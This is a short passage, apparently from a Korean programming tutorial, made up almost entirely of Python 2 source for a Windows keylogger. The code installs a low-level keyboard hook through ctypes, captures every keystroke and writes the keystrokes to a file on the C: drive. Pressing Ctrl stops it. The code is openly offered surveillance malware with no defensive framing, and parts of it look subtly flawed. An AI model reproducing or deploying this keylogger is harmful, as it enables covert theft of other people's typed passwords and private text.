2. Python 키로거(Keylogger)

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
saveKey=[]

class keyLogger:
	def __init__(self):
		self.lUser32 = user32
		self.hooked = None

	def installHookProc(self, pointer):
		self.hooked = self.lUser32.SetWindowsHookExA(
			WH_KEYBOARD_LL,
			pointer,
			kernel32.GetModuleHandleW(None),
			0
			)
		if not self.hooked:
			return False
		return True

	def uninstallHookProc(self):
		if self.hooked is None:
			return
		self.lUser32.UnhookWindowsHookEx(self.hooked)
		self.hooked = None

def getFPTR(fn):
		CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
		return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
	if wParam is not WM_KEYDOWN:
		return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
	hookedKey = chr(lParam[0])
	saveKey.append(hookedKey)
	sys.stdout.write(hookedKey)
	saveKeyLog()
	if(CTRL_CODE == int(lParam[0])):  
		print "Ctrl pressed, call uninstallHook()"
		keyLogger.uninstallHookProc()
		sys.exit(-1)
	return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
	msg = MSG()
	user32.GetMessageA(byref(msg),0,0,0)

def saveKeyLog():
	f = open("C:\KeyLogging.txt",'w')
	test="".join(str(s) for s in saveKey)
	f.write(test)
	f.close()

keyLogger = keyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
	print "installed keyLogger"

startKeyLog()

Python 2.x